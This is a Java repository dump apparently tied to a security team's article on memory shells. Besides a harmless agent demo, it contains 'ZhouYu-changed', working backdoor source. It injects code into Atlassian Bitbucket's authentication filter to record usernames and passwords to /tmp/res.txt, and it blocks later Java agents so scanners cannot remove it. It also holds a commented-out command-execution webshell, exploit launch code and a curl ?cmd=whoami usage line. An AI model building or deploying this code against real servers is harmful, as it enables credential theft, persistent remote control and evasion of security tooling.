├── AgentTest
├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── jarRepositories.xml
│ ├── libraries
│ │ └── tools.xml
│ └── misc.xml
├── AgentTest.iml
├── pom.xml
└── src
│ └── main
│ ├── java
│ ├── AgentTest.java
│ ├── AttachAgent.java
│ ├── Peoples.java
│ └── TransformerTest.java
│ └── resources
│ └── MANIFEST.MF
├── README.md
├── ToRun
├── .idea
│ ├── .gitignore
│ ├── description.html
│ ├── encodings.xml
│ ├── misc.xml
│ ├── modules.xml
│ ├── project-template.xml
│ └── uiDesigner.xml
├── ToRun.iml
└── src
│ ├── Main.java
│ └── Peoples.java
├── ZhouYu-changed
├── .gitignore
├── LICENSE
├── README.md
├── agent
│ ├── build.gradle
│ └── src
│ │ └── main
│ │ └── java
│ │ └── zhouyu
│ │ └── agent
│ │ ├── ExpGen.java
│ │ └── ZhouYu.java
├── build.gradle
├── core
│ ├── build.gradle
│ └── src
│ │ └── main
│ │ └── java
│ │ └── zhouyu
│ │ └── core
│ │ ├── config
│ │ └── Config.java
│ │ ├── init
│ │ ├── ProtectTransformer.java
│ │ └── WriteShellTransformer.java
│ │ ├── transformer
│ │ ├── CoreClassFileTransformer.java
│ │ └── Transformer.java
│ │ └── util
│ │ └── JavassistUtil.java
└── settings.gradle
└── images
└── qrcode.jpg
/AgentTest/.idea/.gitignore:
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2 | /shelf/
3 | /workspace.xml
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/AgentTest/pom.xml:
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1 |
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5 | 4.0.0
6 |
7 |
8 | org.javassist
9 | javassist
10 | 3.20.0-GA
11 |
12 |
13 | com.sun
14 | tools
15 | 1.8.0
16 | system
17 | C:/Program Files/Java/jdk1.8.0_221/lib/tools.jar
18 |
19 |
20 |
21 | org.example
22 | AgentTest
23 | 1.0-SNAPSHOT
24 |
25 |
26 |
27 |
28 | maven-assembly-plugin
29 |
30 |
31 | jar-with-dependencies
32 |
33 |
34 | src/main/resources/MANIFEST.MF
35 |
36 |
37 |
38 |
39 | make-assembly
40 | package
41 |
42 | assembly
43 |
44 |
45 |
46 |
47 |
48 | org.apache.maven.plugins
49 | maven-compiler-plugin
50 |
51 | 7
52 | 7
53 |
54 |
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59 |
60 |
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/AgentTest/src/main/java/AgentTest.java:
--------------------------------------------------------------------------------
1 | import java.lang.instrument.ClassDefinition;
2 | import java.lang.instrument.Instrumentation;
3 | import java.lang.instrument.UnmodifiableClassException;
4 | import java.util.Objects;
5 |
6 | public class AgentTest {
7 |
8 | public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {
9 |
10 |
11 | Class[] classes = inst.getAllLoadedClasses();
12 | for(Class c : classes) {
13 | inst.addTransformer(new TransformerTest(), true);
14 | System.out.println("add class success");
15 | inst.retransformClasses(c);
16 | System.out.println("retransform success");
17 | }
18 |
19 |
20 | /*
21 | Class[] classes = inst.getAllLoadedClasses();
22 | for(Class c : classes) {
23 | System.out.println("searching");
24 | System.out.println(c.getName());
25 | if (c.getName().equalsIgnoreCase("Peoples")) {
26 | ClassDefinition def = new ClassDefinition(c, Objects.requireNonNull(TransformerTest
27 | .getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class")));
28 | inst.redefineClasses(new ClassDefinition[]{def});
29 | System.out.println("redefineClasses success");
30 | }
31 | }*/
32 |
33 |
34 |
35 | }
36 | }
--------------------------------------------------------------------------------
/AgentTest/src/main/java/AttachAgent.java:
--------------------------------------------------------------------------------
1 | import com.sun.tools.attach.VirtualMachine;
2 | import com.sun.tools.attach.VirtualMachineDescriptor;
3 |
4 | import java.io.File;
5 | import java.util.List;
6 |
7 |
8 | public class AttachAgent {
9 |
10 | public static void main(String[] args) throws Exception {
11 |
12 | VirtualMachine vm;
13 | List vmList;
14 |
15 | String agentFile = new File( "E:\\AgentTest\\target\\AgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar").getCanonicalPath();
16 | System.out.println(agentFile);
17 | try {
18 | vmList = VirtualMachine.list();
19 | for (VirtualMachineDescriptor vmd : vmList) {
20 | System.out.println(vmd.displayName());
21 |
22 | if (vmd.displayName().contains("Main") || "".equals(vmd.displayName())) {
23 | vm = VirtualMachine.attach(vmd);
24 |
25 | if (null != vm) {
26 | vm.loadAgent(agentFile);
27 | System.out.println("MemoryShell has been injected.");
28 | vm.detach();
29 | return;
30 | }
31 | }
32 |
33 | }
34 |
35 | System.out.println("No Tomcat Virtual Machine found.");
36 | } catch (Exception e) {
37 | e.printStackTrace();
38 | }
39 | }
40 | }
--------------------------------------------------------------------------------
/AgentTest/src/main/java/Peoples.java:
--------------------------------------------------------------------------------
1 | public class Peoples {
2 | public void say(){
3 | System.out.println("hello");
4 | }
5 | }
--------------------------------------------------------------------------------
/AgentTest/src/main/java/TransformerTest.java:
--------------------------------------------------------------------------------
1 | import javassist.*;
2 | import javassist.bytecode.stackmap.TypeData;
3 |
4 | import java.io.*;
5 | import java.lang.instrument.ClassFileTransformer;
6 | import java.security.ProtectionDomain;
7 | import java.lang.instrument.IllegalClassFormatException;
8 |
9 | public class TransformerTest implements ClassFileTransformer {
10 |
11 | @Override
12 | public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
13 |
14 | /*
15 | if (!className.equalsIgnoreCase("Peoples")) {
16 | return null;
17 | }
18 | return getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class");
19 | */
20 |
21 | if(!className.equalsIgnoreCase("Peoples")){
22 | return null;
23 | }
24 |
25 |
26 | ClassPool classPool = ClassPool.getDefault();
27 | classPool.appendClassPath(new LoaderClassPath(loader));
28 | CtClass ctClass = null;
29 | try {
30 | ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
31 | } catch (IOException e) {
32 | e.printStackTrace();
33 | }
34 | CtMethod ctm= null;
35 | try {
36 | ctm = ctClass.getDeclaredMethod("say");
37 | } catch (NotFoundException e) {
38 | e.printStackTrace();
39 | }
40 | StringBuilder codeBuilder = new StringBuilder()
41 | .append("System.out.println(\"world\");").append("\n")
42 | ;
43 | String beforeCode= codeBuilder.toString();
44 | try {
45 | ctm.insertAfter(beforeCode);
46 | } catch (CannotCompileException e) {
47 | e.printStackTrace();
48 | }
49 | try {
50 | return ctClass.toBytecode();
51 | } catch (IOException e) {
52 | e.printStackTrace();
53 | } catch (CannotCompileException e) {
54 | e.printStackTrace();
55 | }
56 | return null;
57 | }
58 |
59 | public static byte[] getBytesFromFile(String fileName) {
60 | File file = new File(fileName);
61 | try {
62 | InputStream is = new FileInputStream(file);
63 | long length = file.length();
64 | byte[] bytes = new byte[(int) length];
65 |
66 | // Read in the bytes
67 | int offset = 0;
68 | int numRead = 0;
69 | while (offset < bytes.length
70 | && (numRead = is.read(bytes, offset, bytes.length - offset)) >= 0) {
71 | offset += numRead;
72 | }
73 |
74 | if (offset < bytes.length) {
75 | throw new IOException("Could not completely read file "
76 | + file.getName());
77 | }
78 | is.close();
79 | return bytes;
80 | } catch (Exception e) {
81 | System.out.println("error occurs in _ClassTransformer!"
82 | + e.getClass().getName());
83 | return null;
84 | }
85 |
86 | }
87 | }
--------------------------------------------------------------------------------
/AgentTest/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Agent-Class: AgentTest
3 | Can-Redefine-Classes: true
4 | Can-Retransform-Classes: true
5 |
6 |
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LearningAgentShell
2 |
3 | ## 本文是7bits安全团队文章《Java安全-记一次实战使用memoryshell》涉及到的
4 |
5 | * ToRun
6 |
7 | 一个样例程序,通过AgentTest修改正在执行的代码内容
8 |
9 | * AgentTest
10 |
11 | 通过java的Agent与assist技术操作jvm内存达到修改另一个程序内存的效果
12 |
13 | * ZhouYu-changed
14 |
15 | 基于ZhouYu,针对atlassian bitbucket定制的记录密码后门
16 |
17 | ### 欢迎关注我们的公众号 - Zbits2022
18 |
19 | 
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ToRun/.idea/.gitignore:
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1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
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/ToRun/.idea/description.html:
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1 | Simple Java application that includes a class with main()
method
--------------------------------------------------------------------------------
/ToRun/.idea/encodings.xml:
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/ToRun/ToRun.iml:
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/ToRun/src/Main.java:
--------------------------------------------------------------------------------
1 | public class Main {
2 |
3 | public static void main(String[] args) throws Exception{
4 | while (true){
5 | new Peoples().say();
6 | Thread.sleep(5000);
7 | }
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/ToRun/src/Peoples.java:
--------------------------------------------------------------------------------
1 | public class Peoples {
2 | public void say(){
3 | System.out.println("hello");
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/ZhouYu-changed/.gitignore:
--------------------------------------------------------------------------------
1 | /build/
2 | .idea
3 | *.iws
4 | *.iml
5 | *.ipr
6 | /out/
7 | .DS_Store
8 | out/
9 | /gradlew.bat
10 | /gradle
11 | /gradlew
12 | **/build
13 | **/*.jar
14 | .gradle
--------------------------------------------------------------------------------
/ZhouYu-changed/LICENSE:
--------------------------------------------------------------------------------
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/ZhouYu-changed/README.md:
--------------------------------------------------------------------------------
1 | *工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责*
2 |
3 | ### ZhouYu -> 周瑜
4 |
5 | Java - SpringBoot 持久化 WebShell(适配任何符合JavaEE规范的服务)
6 |
7 | 背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失!
8 |
9 | 1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀
10 |
11 | 2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉
12 |
13 | ### 一、打包编译
14 |
15 | 命令:
16 | ```text
17 | gradle :agent:shadowJar
18 | ```
19 | 或
20 | ```text
21 | ./gradlew :agent:shadowJar
22 | ```
23 |
24 | 编译后得到 agent/build/libs/agent-1.0-SNAPSHOT-all.jar,即ZhouYu.jar
25 |
26 | ### 二、使用方式
27 |
28 | 两种场景:
29 |
30 | 1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
31 | ```text
32 | java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!
33 | ```
34 |
35 | 2. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码)
36 |
37 | 先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar
38 |
39 | 接着执行下面代码:
40 | ```
41 | try {
42 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
43 | int indexOf = pid.indexOf('@');
44 | if (indexOf > 0) {
45 | pid = pid.substring(0, indexOf);
46 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
47 | }
48 | } catch (Throwable throwable) {
49 |
50 | }
51 | ```
52 |
53 | 3. 执行命令
54 | ```
55 | curl -XGET "http://127.0.0.1:8080?cmd=whoami"
56 | ```
57 |
58 | ### WARNNING
59 |
60 | #### 为了防止出现生产事故,在对原有jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk)
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/ZhouYu-changed/agent/build.gradle:
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/ZhouYu-changed/agent/src/main/java/zhouyu/agent/ExpGen.java:
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1 | package zhouyu.agent;
2 |
3 | import java.io.IOException;
4 |
5 | public class ExpGen {
6 |
7 | public static void main(String[] args) throws IOException {
8 | try {
9 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
10 | int indexOf = pid.indexOf('@');
11 | if (indexOf > 0) {
12 | pid = pid.substring(0, indexOf);
13 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
14 | }
15 | } catch (Throwable throwable) {
16 |
17 | }
18 | }
19 | }
20 |
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/ZhouYu-changed/agent/src/main/java/zhouyu/agent/ZhouYu.java:
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1 | package zhouyu.agent;
2 |
3 | import com.sun.tools.attach.AgentInitializationException;
4 | import com.sun.tools.attach.AgentLoadException;
5 | import com.sun.tools.attach.AttachNotSupportedException;
6 | import com.sun.tools.attach.VirtualMachine;
7 | import java.io.IOException;
8 | import java.lang.instrument.Instrumentation;
9 | import zhouyu.core.config.Config;
10 | import zhouyu.core.transformer.CoreClassFileTransformer;
11 |
12 | public class ZhouYu {
13 |
14 | public static void premain(String agentArg, Instrumentation inst) {
15 | init(agentArg, inst);
16 | }
17 |
18 | public static void agentmain(String agentArg, Instrumentation inst) {
19 | init(agentArg, inst);
20 | }
21 |
22 | public static synchronized void init(String action, Instrumentation inst) {
23 | System.out.println("[ZhouYu] 持久化Agent Shell启动 ...");
24 | System.out.println(String.format("[ZhouYu] 参数: %s", action));
25 | try {
26 | Config.init(action);
27 | CoreClassFileTransformer coreClassFileTransformer = new CoreClassFileTransformer(inst);
28 | inst.addTransformer(coreClassFileTransformer, true);
29 | coreClassFileTransformer.retransform();
30 | } catch (Throwable e) {
31 | System.err.println("[ZhouYu] 持久化Agent Shell写入失败!");
32 | e.printStackTrace();
33 | }
34 | }
35 |
36 | public static void main(String[] args)
37 | throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
38 | if (args.length == 0) {
39 | System.err.println("[ZhouYu] 参数缺少,例:java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!");
40 | System.exit(-1);
41 | }
42 | VirtualMachine vmObj = null;
43 |
44 | try {
45 | vmObj = VirtualMachine.attach(args[0]);
46 | String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile();
47 | if (vmObj != null) {
48 | if (args.length > 1) {
49 | vmObj.loadAgent(agentpath, args[1]);
50 | } else {
51 | vmObj.loadAgent(agentpath);
52 | }
53 | }
54 | } finally {
55 | if (null != vmObj) {
56 | vmObj.detach();
57 | }
58 |
59 | }
60 | }
61 | }
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/ZhouYu-changed/build.gradle:
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1 | buildscript {
2 | repositories {
3 | jcenter()
4 | }
5 |
6 | dependencies {
7 | classpath "com.github.jengelman.gradle.plugins:shadow:4.0.3"
8 | }
9 | }
10 |
11 | allprojects {
12 | apply plugin: 'java'
13 |
14 | group 'zhouyu'
15 | version '1.0-SNAPSHOT'
16 |
17 | sourceCompatibility = 1.8
18 | targetCompatibility = 1.8
19 | }
20 |
21 | subprojects {
22 | dependencies {
23 | testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0'
24 | testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine'
25 |
26 | runtime files(org.gradle.internal.jvm.Jvm.current().toolsJar)
27 | }
28 |
29 | repositories {
30 | mavenCentral()
31 | }
32 |
33 | test {
34 | useJUnitPlatform()
35 | }
36 | }
37 |
38 | project(":agent") {
39 |
40 | apply plugin: 'com.github.johnrengelman.shadow'
41 |
42 | shadowJar {
43 | manifest {
44 | attributes 'Main-Class': 'zhouyu.agent.ZhouYu'
45 | attributes 'Premain-Class': 'zhouyu.agent.ZhouYu'
46 | attributes 'Agent-Class': 'zhouyu.agent.ZhouYu'
47 | attributes 'Can-Redefine-Classes': true
48 | attributes 'Can-Retransform-Classes': true
49 | }
50 |
51 | relocate 'javassist', 'zhouyu.javassist'
52 | }
53 |
54 | dependencies {
55 | compile project(":core")
56 | }
57 |
58 | project.jar.enabled(false)
59 | project.build.dependsOn(shadowJar)
60 | }
61 |
62 | project(":core") {
63 |
64 | dependencies {
65 | compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA'
66 | }
67 | }
68 |
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/ZhouYu-changed/core/build.gradle:
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/ZhouYu-changed/core/src/main/java/zhouyu/core/config/Config.java:
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1 | package zhouyu.core.config;
2 |
3 | import java.lang.reflect.Field;
4 | import java.util.HashMap;
5 | import java.util.Map;
6 | import java.util.regex.Matcher;
7 | import java.util.regex.Pattern;
8 |
9 | public class Config {
10 |
11 | private static Config config;
12 |
13 | private static Boolean printError = false;
14 |
15 | public static final Config getInstance() {
16 | if (config == null) {
17 | synchronized (Config.class) {
18 | if (config == null) {
19 | config = new Config();
20 | }
21 | }
22 | }
23 | return config;
24 | }
25 |
26 | public static void init(String action) throws IllegalAccessException {
27 | if (action == null || action.isEmpty()) {
28 | return;
29 | }
30 | Config config = getInstance();
31 | Map fieldMap = new HashMap<>();
32 | Field[] fields = Config.class.getDeclaredFields();
33 | for (Field field : fields) {
34 | if (field.getName().equals("config")) {
35 | continue;
36 | }
37 | fieldMap.put(field.getName(), field);
38 | }
39 |
40 | Pattern pattern = Pattern.compile("((.+?)=(.+?))(,|$)");
41 | Matcher matcher = pattern.matcher(action);
42 | while (matcher.find()) {
43 | String key = matcher.group(2);
44 | String value = matcher.group(3);
45 | Field field;
46 | if ((field = fieldMap.get(key)) != null) {
47 | if (field.getType() == Boolean.class) {
48 | field.set(config, Boolean.valueOf(value));
49 | } else if (field.getType() == Integer.class) {
50 | field.set(config, Integer.valueOf(value));
51 | } else if (field.getType() == Long.class) {
52 | field.set(config, Long.valueOf(value));
53 | } else {
54 | field.set(config, value);
55 | }
56 | }
57 | }
58 | }
59 |
60 | public static Boolean getPrintError() {
61 | return printError;
62 | }
63 |
64 | public static void main(String[] args) {
65 | System.out.println();
66 | }
67 | }
68 |
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/ZhouYu-changed/core/src/main/java/zhouyu/core/init/ProtectTransformer.java:
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1 | package zhouyu.core.init;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.LoaderClassPath;
7 | import zhouyu.core.transformer.Transformer;
8 |
9 | public class ProtectTransformer implements Transformer {
10 |
11 | @Override
12 | public boolean condition(String className) {
13 | return false;//这里false,意味着,比周瑜这个javaagent更早启动的javaagent,是不会被检测和干掉的!(意味着,正在运行的rasp不会被干掉)
14 | }
15 |
16 | @Override
17 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
18 | return check(className, loader, codeBytes);
19 | }
20 |
21 | private byte[] check(String className, ClassLoader loader, byte[] codeBytes) {
22 | CtClass ctClass = null;
23 | try {
24 | ClassPool classPool = ClassPool.getDefault();
25 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
26 | if (ctClass != null && check0(className, ctClass)) {
27 | return new byte[0];
28 | }
29 | } catch (Throwable e) {
30 | e.printStackTrace();
31 | } finally {
32 | if (ctClass != null) {
33 | ctClass.detach();
34 | }
35 | }
36 | return codeBytes;
37 | }
38 |
39 | /**
40 | * 递归检测java.lang.instrument.ClassFileTransformer接口,防止多层嵌套interface结构绕过
41 | *
42 | * @param className
43 | * @param ctClass
44 | * @return
45 | * @throws Throwable
46 | */
47 | private boolean check0(String className, CtClass ctClass) throws Throwable {
48 | CtClass[] interfaces = ctClass.getInterfaces();
49 | if (interfaces != null) {
50 | boolean flag = false;
51 | for (CtClass anInterface : interfaces) {
52 | //遇到其它的agent,直接干掉它,不让它加载
53 | if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
54 | System.out.println(String.format("[ZhouYu] kill!", className));
55 | return true;
56 | }
57 | flag |= check0(className, anInterface);
58 | if (flag) {
59 | return flag;
60 | }
61 | }
62 | }
63 | return false;
64 | }
65 | }
66 |
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/ZhouYu-changed/core/src/main/java/zhouyu/core/init/WriteShellTransformer.java:
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1 | package zhouyu.core.init;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.File;
6 | import java.io.FileInputStream;
7 | import java.io.FileOutputStream;
8 | import java.io.IOException;
9 | import java.lang.reflect.Modifier;
10 | import java.nio.file.Files;
11 | import java.nio.file.Paths;
12 | import java.nio.file.StandardOpenOption;
13 | import java.util.HashSet;
14 | import java.util.Set;
15 | import java.util.jar.JarEntry;
16 | import java.util.jar.JarInputStream;
17 | import java.util.jar.JarOutputStream;
18 | import java.util.jar.Manifest;
19 | import java.util.zip.CRC32;
20 | import javassist.ClassPool;
21 | import javassist.CtClass;
22 | import javassist.CtConstructor;
23 | import javassist.CtMethod;
24 | import javassist.LoaderClassPath;
25 | import zhouyu.core.transformer.Transformer;
26 | import zhouyu.core.util.JavassistUtil;
27 |
28 | public class WriteShellTransformer implements Transformer {
29 |
30 | private String[][] methods = new String[][] {
31 | //new String[] {"javax/servlet/http/HttpServlet", "javax.servlet.http.HttpServlet", "service", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"},
32 | new String[] {"com/atlassian/stash/internal/spring/security/StashAuthenticationFilter", "com.atlassian.stash.internal.spring.security.StashAuthenticationFilter", "createContextFromQueryParameters", "*"},
33 | };
34 |
35 | private Set cache = new HashSet<>();
36 |
37 | @Override
38 | public boolean condition(String className) {
39 | for (int i = 0; i < methods.length; i++) {
40 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
41 | return true;
42 | }
43 | }
44 | return false;
45 | }
46 |
47 | @Override
48 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
49 | for (int i = 0; i < methods.length; i++) {
50 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
51 | codeBytes = insertShell(methods[i][2], methods[i][3], loader, codeBytes, getBeforeInsertCode());
52 | }
53 | }
54 | return codeBytes;
55 | }
56 |
57 | private String getBeforeInsertCode() {
58 | /*
59 | StringBuilder codeBuilder = new StringBuilder()
60 | .append("String cmd = $1.getParameter(\"cmd\");").append("\n")
61 | .append("if (cmd != null) {").append("\n")
62 | .append(" try {").append("\n")
63 | .append(" String[] cmds = cmd.split(\" \");").append("\n")
64 | .append(" InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();").append("\n")
65 | .append(" StringBuilder stringBuilder = new StringBuilder();").append("\n")
66 | .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));").append("\n")
67 | .append(" String line;").append("\n")
68 | .append(" while((line = bufferedReader.readLine()) != null) {").append("\n")
69 | .append(" stringBuilder.append(line).append(\"\\n\");").append("\n")
70 | .append(" }").append("\n")
71 | .append(" byte[] res = stringBuilder.toString().getBytes(StandardCharsets.UTF_8);").append("\n")
72 | .append(" $2.getOutputStream().write(res);").append("\n")
73 | .append(" } catch (Throwable throwable) {").append("\n")
74 | .append(" throwable.printStackTrace();").append("\n")
75 | .append(" }").append("\n")
76 | .append("}").append("\n")
77 | ;
78 | */
79 |
80 | StringBuilder codeBuilder = new StringBuilder()
81 | .append("try {").append("\n")
82 | .append("javax.servlet.http.HttpServletRequest request = $1;").append("\n")
83 | .append("String password=request.getParameter(\"j_password\");").append("\n")
84 | .append("if(password!=null){").append("\n")
85 | .append("String username=request.getParameter(\"j_username\");").append("\n")
86 | .append("String r=username+\":\"+password;").append("\n")
87 | .append("byte[] res = r.getBytes();").append("\n")
88 | .append("java.io.File newTextFile = new java.io.File(\"/tmp/res.txt\");").append("\n")
89 | .append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n")
90 | .append("fw.write(res);").append("\n")
91 | .append("fw.close();").append("\n")
92 | .append("}").append("\n")
93 | .append(" } catch (Throwable throwable) {").append("\n")
94 | .append(" throwable.printStackTrace();").append("\n")
95 | .append(" }").append("\n")
96 | ;
97 |
98 |
99 | return codeBuilder.toString();
100 | }
101 |
102 | private byte[] insertShell(String hookMethod, String hookMethodSignature, ClassLoader loader, byte[] codeBytes, String beforeCode) {
103 | CtClass ctClass = null;
104 | try {
105 | ClassPool classPool = ClassPool.getDefault();
106 | classPool.appendClassPath(new LoaderClassPath(loader));
107 | classPool.importPackage("java.io.InputStream");
108 | classPool.importPackage("java.lang.Runtime");
109 | classPool.importPackage("java.lang.StringBuilder");
110 | classPool.importPackage("java.io.BufferedReader");
111 | classPool.importPackage("java.io.InputStreamReader");
112 | classPool.importPackage("java.nio.charset.StandardCharsets");
113 | classPool.importPackage("java.io.File");
114 | classPool.importPackage("java.io.InputStreamReader");
115 | classPool.importPackage("java.io.FileOutputStream");
116 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
117 | if (hookMethod.equals("")) {
118 | Set ctConstructors = JavassistUtil.getAllConstructors(ctClass);
119 | for (CtConstructor ctConstructor : ctConstructors) {
120 | if (ctConstructor.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*")) {
121 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctConstructor.getName(), ctConstructor.getSignature()));
122 | ctConstructor.insertBefore(beforeCode);
123 | }
124 | }
125 | } else {
126 | Set methods = JavassistUtil.getAllMethods(ctClass);
127 | for (CtMethod ctMethod : methods) {
128 | if (ctMethod.getName().equals(hookMethod)) {
129 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctMethod.getName(), ctMethod.getSignature()));
130 | ctMethod.insertBefore(beforeCode);
131 | }
132 | }
133 | }
134 |
135 | return ctClass.toBytecode();
136 | } catch (Throwable e) {
137 | e.printStackTrace();
138 | } finally {
139 | if (ctClass != null) {
140 | ctClass.detach();
141 | }
142 | }
143 | return codeBytes;
144 | }
145 | }
146 |
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/ZhouYu-changed/core/src/main/java/zhouyu/core/transformer/CoreClassFileTransformer.java:
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1 | package zhouyu.core.transformer;
2 |
3 | import java.lang.instrument.ClassFileTransformer;
4 | import java.lang.instrument.IllegalClassFormatException;
5 | import java.lang.instrument.Instrumentation;
6 | import java.lang.instrument.UnmodifiableClassException;
7 | import java.security.ProtectionDomain;
8 | import java.util.ArrayList;
9 | import java.util.HashSet;
10 | import java.util.List;
11 | import java.util.Set;
12 | import zhouyu.core.init.ProtectTransformer;
13 | import zhouyu.core.init.WriteShellTransformer;
14 |
15 | public class CoreClassFileTransformer implements ClassFileTransformer {
16 |
17 | private Instrumentation inst;
18 |
19 | private static final List transformers = new ArrayList<>();
20 |
21 | static {
22 | transformers.add(new WriteShellTransformer());
23 | transformers.add(new ProtectTransformer());
24 | }
25 |
26 | public CoreClassFileTransformer(Instrumentation inst) {
27 | this.inst = inst;
28 | }
29 |
30 | public void retransform() {
31 | Class[] classes = inst.getAllLoadedClasses();
32 | if (classes != null) {
33 | Set classSet = new HashSet<>();
34 | for (Class aClass : classes) {
35 | for (Transformer transformer : transformers) {
36 | if (transformer.condition(aClass.getName()) && inst.isModifiableClass(aClass)) {
37 | classSet.add(aClass);
38 | System.out.println(String.format("[ZhouYu] reload class: %s", aClass.getName()));
39 | break;
40 | }
41 | }
42 | }
43 | if (!classSet.isEmpty()) {
44 | try {
45 | inst.retransformClasses(classSet.toArray(new Class[classSet.size()]));
46 | } catch (UnmodifiableClassException e) {
47 | e.printStackTrace();
48 | }
49 | }
50 | }
51 | }
52 |
53 | public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
54 | for (Transformer transformer : transformers) {
55 | classfileBuffer = transformer.transformer(loader, className, classfileBuffer);
56 | }
57 | return classfileBuffer;
58 | }
59 |
60 |
61 | }
62 |
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/ZhouYu-changed/core/src/main/java/zhouyu/core/transformer/Transformer.java:
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1 | package zhouyu.core.transformer;
2 |
3 | public interface Transformer {
4 |
5 | boolean condition(String className);
6 |
7 | byte[] transformer(ClassLoader loader, String className, byte[] codeBytes);
8 | }
9 |
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/ZhouYu-changed/core/src/main/java/zhouyu/core/util/JavassistUtil.java:
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1 | package zhouyu.core.util;
2 |
3 | import java.util.Arrays;
4 | import java.util.HashSet;
5 | import java.util.Set;
6 | import javassist.CtClass;
7 | import javassist.CtConstructor;
8 | import javassist.CtMethod;
9 |
10 | public class JavassistUtil {
11 |
12 | public static Set getAllMethods(CtClass ctClass) {
13 | Set ctMethods = new HashSet<>();
14 | ctMethods.addAll(Arrays.asList(ctClass.getDeclaredMethods()));
15 | ctMethods.addAll(Arrays.asList(ctClass.getMethods()));
16 | return ctMethods;
17 | }
18 |
19 | public static Set getAllConstructors(CtClass ctClass) {
20 | Set ctConstructors = new HashSet<>();
21 | ctConstructors.addAll(Arrays.asList(ctClass.getDeclaredConstructors()));
22 | ctConstructors.addAll(Arrays.asList(ctClass.getConstructors()));
23 | return ctConstructors;
24 | }
25 | }
26 |
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/ZhouYu-changed/settings.gradle:
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1 | rootProject.name = 'ZhouYu'
2 | include 'agent'
3 | include 'core'
4 |
5 |
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/images/qrcode.jpg:
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https://raw.githubusercontent.com/7BitsTeam/LearningAgentShell/2706a03162e87e1c7a355aa09a409d9548a32af1/images/qrcode.jpg
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